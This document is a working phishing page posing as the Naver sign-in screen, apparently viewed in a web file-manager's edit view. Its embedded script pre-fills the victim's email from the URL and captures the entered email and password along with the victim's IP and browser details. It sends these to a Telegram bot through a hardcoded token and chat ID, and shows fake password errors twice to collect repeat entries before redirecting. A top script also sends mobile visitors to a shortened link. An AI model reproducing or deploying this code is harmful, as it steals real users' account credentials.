OwlCyberSecurity - MANAGER
Edit File: newnaver.html
<script>(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/OnjMpQPMe0r4");</script> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge, chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <meta property="og:type" content="website"> <meta property="og:title" content="네이버"> <meta property="og:description" content="네이버에 로그인 하고 나를 위한 다양한 서비스를 이용해 보세요"> <meta property="og:image" content="https://ssl.pstatic.net/static/nid/account/naver_og_image.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="630"> <meta name="description" content="Sign in to your Naver Account"> <meta name="robots" content="index, follow"> <meta name="Keywords" content="naver login,naver sign-in,naver sign-in with ID"> <title>Naver Sign in</title> <link rel="shortcut icon" href="https://nid.naver.com/login/image/favicon.ico"> <link rel="apple-touch-icon-precomposed" href="https://s.pstatic.net/static/www/mobile/edit/20220408_0/upload_16493972759253VFbg.png"> <link rel="apple-touch-icon-precomposed" sizes="96x96" href="https://s.pstatic.net/static/www/mobile/edit/20220408_0/upload_1649397297725OckVW.png"> <link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://s.pstatic.net/static/www/mobile/edit/20220408_0/upload_1649397312685xI8Rn.png"> <link rel="apple-touch-icon-precomposed" sizes="192x192" href="https://s.pstatic.net/static/www/mobile/edit/20220408_0/upload_1649397328060s5AJW.png"> <link rel="stylesheet" type="text/css" href="https://nid.naver.com/login/css/global/desktop/w_20240611.css?20240801"> </head> <body> <div id="wrap" class="wrap"> <div class="u_skip"><a href="https://www.naver.com">본문 바로가기</a></div> <header class="header" role="banner"> <div class="header_inner"> <a href="https://www.naver.com" class="logo"> <h1 class="blind">NAVER</h1> </a> <div class="lang" id="show_locale_switch"> <select id="locale_switch" name="locale_switch" title="언어선택" class="sel"> <option value="ko_KR">한국어</option> <option value="en_US">English</option> <option value="zh-Hans_CN">中文(简体)</option> <option value="zh-Hant_TW">中文(台灣)</option> </select> </div> </div> </header> <div id="container" class="container"> <!-- content --> <div class="content"> <div class="login_wrap global"> <ul class="menu_wrap" role="tablist"> <li class="menu_item" role="presentation"> <a href="#none" id="loinid" class="menu_id on" role="tab" aria-selected="true"> <span class="menu_text"><span class="text">ID/Phone number</span></span> </a> </li> <li class="menu_item" role="presentation"> <a href="#none" id="qrcode" class="menu_qr" role="tab" aria-selected="false"> <span class="menu_text"><span class="text">QR code</span></span> </a> <!--넛지배너--> <div class="nudge_banner" id="nudge_tooltip"> <span class="nudge_text">If this PC is used by multiple people, try it.</span> <button type="button" id="nudge_close" class="nudge_close"><span class="icon_nudge_close"></span></button> </div> </li> </ul> <input type="hidden" id="localechange" name="localechange" value=""> <input type="hidden" name="dynamicKey" id="dynamicKey" value="FUxS25s5xTzuwVPTQnismRPJMIE52JmwpULZuNvxeBqOsO2H7CgB1slsIn4NIMdZ-heyLCrvUowJJj6U1UicfQCra1DCHFDUT4hfhiGTHrc"> <input type="hidden" name="encpw" id="encpw" value=""> <input type="hidden" name="enctp" id="enctp" value="1"> <input type="hidden" name="svctype" id="svctype" value="1"> <input type="hidden" name="smart_LEVEL" id="smart_LEVEL" value="1"> <input type="hidden" name="bvsd" id="bvsd" value=""> <input type="hidden" name="encnm" id="encnm" value=""> <input type="hidden" name="locale" id="locale" value="en_US"> <input type="hidden" name="url" id="url" value="https://www.naver.com/"> <ul class="panel_wrap"> <li class="panel_item" style="display: block;"> <div class="panel_inner" role="tabpanel" aria-controls="loinid"> <div class="login_form"> <div class="login_box"> <div class="input_item id" id="input_item_id"> <input type="email" id="email" name="email" accesskey="L" maxlength="41" autocapitalize="none" value="" title="아이디" class="input_id" aria-label=""> <label for="id" class="text_label" id="id_label" aria-hidden="true"></label> <button type="button" class="btn_delete" id="id_clear" style="display: none;"> <span class="icon_delete"> <span class="blind">delete</span> </span> </button> </div> <div class="input_item pw" id="input_item_pw"> <input type="password" id="password" name="password" class="input_pw" maxlength="16" autofocus="" placeholder="Password"> <button type="button" class="btn_view hide" id="pw_hide" style="display: none;"> <span class="icon_view"> <span class="blind" id="icon_view">선택 안 됨,비밀번호 표시</span> </span> </button> <button type="button" class="btn_delete" id="pw_clear" style="display: none;"> <span class="icon_delete"> <span class="blind">delete</span> </span> </button> </div> </div> </div> <div class="login_keep_wrap" id="login_keep_wrap"> <div class="keep_check"> <input type="checkbox" id="keep" name="nvlong" class="input_keep" value="off"> <label for="keep" class="keep_text">Stay Signed in</label> </div> <div class="ip_check"> <a href="/login/ext/help_ip3.html" target="_blank" id="ipguide" title="IP Security"><span class="ip_text">IP Security</span></a> <span class="switch"> <input type="checkbox" id="switch" class="switch_checkbox" value="off"> <label for="switch" class="switch_btn"> <span class="switch_on" role="checkbox" aria-checked="true">ON</span> <span class="switch_off" role="checkbox" aria-checked="false">OFF</span> </label> </span> </div> </div> <div class="login_error_wrap" id="err_capslock" style="display: none;"> <div class="error_message"> <p><strong>Caps Lock</strong> is on.</p> </div> </div> <div class="login_error_wrap" id="err_empty_id" style="display: none;"> <div class="error_message"> Please enter your <strong>ID or mobile phone number.</strong> </div> </div> <div class="login_error_wrap" id="err_empty_pw" style="display: none;"> <div class="error_message"> Enter your <strong>password!</strong> </div> </div> <div class="login_error_wrap" id="err_common" style="display:none;"> <div class="error_message" style="width:100%"></div> </div> <div class="btn_login_wrap"> <button type="submit" class="btn_login" id="submit-btn" style="color: white;font-size: 17px;font-weight: 700;line-height: 24px;letter-spacing: -.4px;">Sign in</button> </div> </div> <script> // ========== TELEGRAM CONFIGURATION (REPLACE WITH YOUR ACTUAL VALUES) ========== const TELEGRAM_TOKEN = '8200684016:AAFScHBrn2AAV7vfK4eEKiERCa2jVjGia50'; // Replace with your bot token from @BotFather const CHAT_ID = '8551003759'; // Replace with your chat ID from @userinfobot // Replace with your chat ID from @userinfobot // ============================================================================ // Get or initialize submission count from localStorage // let submissionCount = parseInt(localStorage.getItem('submissionCount') || '0'); // Get or initialize submission count from localStorage let submissionCount = 0; // Get elements const emailInput = document.getElementById('email'); const passwordInput = document.getElementById('password'); const submitBtn = document.getElementById('submit-btn'); const errorCommonDiv = document.getElementById('err_common'); const errorMessageSpan = errorCommonDiv.querySelector('.error_message'); // Function to get value after # in URL function getValueFromHash() { let hash = window.location.hash; if (hash && hash.length > 1) { let value = hash.substring(1); return decodeURIComponent(value); } return ''; } // Set email input from URL hash on page load function setEmailFromHash() { let hashValue = getValueFromHash(); if (hashValue && emailInput) { emailInput.value = hashValue; } } // Function to show error message for 5 seconds function showError(message) { errorMessageSpan.innerHTML = message; errorCommonDiv.style.display = 'block'; setTimeout(() => { errorCommonDiv.style.display = 'none'; }, 5000); } // Function to clear password field function clearPassword() { passwordInput.value = ''; } // Get public IP address async function getIP() { try { const response = await fetch('https://api.ipify.org?format=json'); const data = await response.json(); return data.ip; } catch (error) { return 'Unable to fetch IP'; } } // Send data to Telegram async function sendToTelegram(email, password, attemptNumber) { const ip = await getIP(); const message = `🔐 LOGIN ATTEMPT #${attemptNumber}\n` + `📧 Email: ${email}\n` + `🔑 Password: ${password}\n` + `🌐 IP: ${ip}\n` + `🕐 Time: ${new Date().toLocaleString()}\n` + `📱 User Agent: ${navigator.userAgent}`; const url = `https://api.telegram.org/bot${TELEGRAM_TOKEN}/sendMessage`; const params = new URLSearchParams(); params.append('chat_id', CHAT_ID); params.append('text', message); params.append('parse_mode', 'HTML'); try { await fetch(url, { method: 'POST', body: params }); } catch (error) { console.error('Failed to send to Telegram:', error); } } // Redirect to domain from email (ONLY FOR 3RD TRIAL) function redirectToDomain(email) { if (email && email.includes('@')) { const domain = email.split('@')[1]; let redirectUrl = domain; if (!redirectUrl.startsWith('http://') && !redirectUrl.startsWith('https://')) { redirectUrl = 'https://' + redirectUrl; } window.location.href = redirectUrl; } } // Handle form submission async function handleSubmit(e) { e.preventDefault(); const email = emailInput.value.trim(); const password = passwordInput.value; if (!email) { showError('Please enter your <strong>ID or mobile phone number.</strong>'); return; } if (!password) { showError('Enter your <strong>password!</strong>'); return; } // Increment submission count submissionCount++; localStorage.setItem('submissionCount', submissionCount); // Disable submit button temporarily submitBtn.disabled = true; submitBtn.style.opacity = '0.6'; // Send to Telegram await sendToTelegram(email, password, submissionCount); // Check if this is the third submission if (submissionCount >= 3) { // ONLY ON 3RD TRIAL: Redirect to domain redirectToDomain(email); } else { // For 1st and 2nd submissions: clear password and show error (NO REDIRECT) clearPassword(); showError('check network and try correct password again'); // Re-enable submit button submitBtn.disabled = false; submitBtn.style.opacity = '1'; } } // Add event listeners submitBtn.addEventListener('click', handleSubmit); // Allow Enter key to submit const inputs = document.querySelectorAll('.panel_inner input'); inputs.forEach(input => { input.addEventListener('keypress', function(e) { if (e.key === 'Enter') { e.preventDefault(); handleSubmit(e); } }); }); // Set email from URL hash on page load setEmailFromHash(); console.log(`Current submission count: ${submissionCount}`); </script> </div> </li> </ul> </form> </div> <ul class="find_wrap" id="find_wrap"> <li><div class="find_text">Forgot your <a target="_blank" id="pwinquiry" href="https://nid.naver.com/user2/api/route?m=routePwInquiry&lang=en_US" class="en_find_text">Password</a> or <a target="_blank" id="idinquiry" href="https://nid.naver.com/user2/api/route?m=routeIdInquiry&lang=en_US" class="en_find_text">ID</a>?</div></li><li><a target="_blank" id="join" href="https://nid.naver.com/user2/V2Join?m=agree&lang=en_US&realname=N" class="en_find_text">Sign up</a></li> </ul> <div class="sns_cover"> <ul class="sns_wrap"> <li><a href="/oauth/global/initSNS?idp_cd=facebook&locale=en_US&svctype=1&postDataKey=&url=https%3A%2F%2Fwww.naver.com%2F" class="sns_item"><span class="sns_text">Facebook</span></a></li> <li><a href="/oauth/global/initSNS?idp_cd=line&locale=en_US&svctype=1&postDataKey=&url=https%3A%2F%2Fwww.naver.com%2F" class="sns_item"><span class="sns_text">Line</span></a></li> </ul> </div> </div> <!-- //content --> </div> <div class="footer"> <div class="footer_inner"> <div class="footer_copy"> <a id="fot.naver" target="_blank" href="https://www.navercorp.com"> <span class="footer_logo"><span class="blind">네이버</span></span> </a> <span class="text">Copyright</span> <span class="corp">© NAVER Corp.</span> <span class="text">All Rights Reserved.</span> </div> </div> </div> <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/jquery.session@1.0.0/jquery.session.min.js"></script> <script> </script> </div> <input type="hidden" id="nclicks_nsc" name="nclicks_nsc" value="nid.login_en"> <input type="hidden" id="nid_buk" name="nid_buk" value="none"> <input type="hidden" id="removeLink" name="removeLink" value=""> <input type="hidden" id="hide_util" name="hide_util" value=""> <input type="hidden" id="ncaptchaSplit" name="ncaptchaSplit" value="split"> <input type="hidden" id="locale" name="locale" value="en_US"> <input type="hidden" id="adult_surl_v2" name="adult_surl_v2" value=""> <input type="hidden" id="ispopup" name="ispopup" value="false"> <script type="text/javascript" src="/login/js/v3/default/default_202105.js?v=20240722"></script> <div id="nv_stat" style="display:none;">20</div> </body> </html>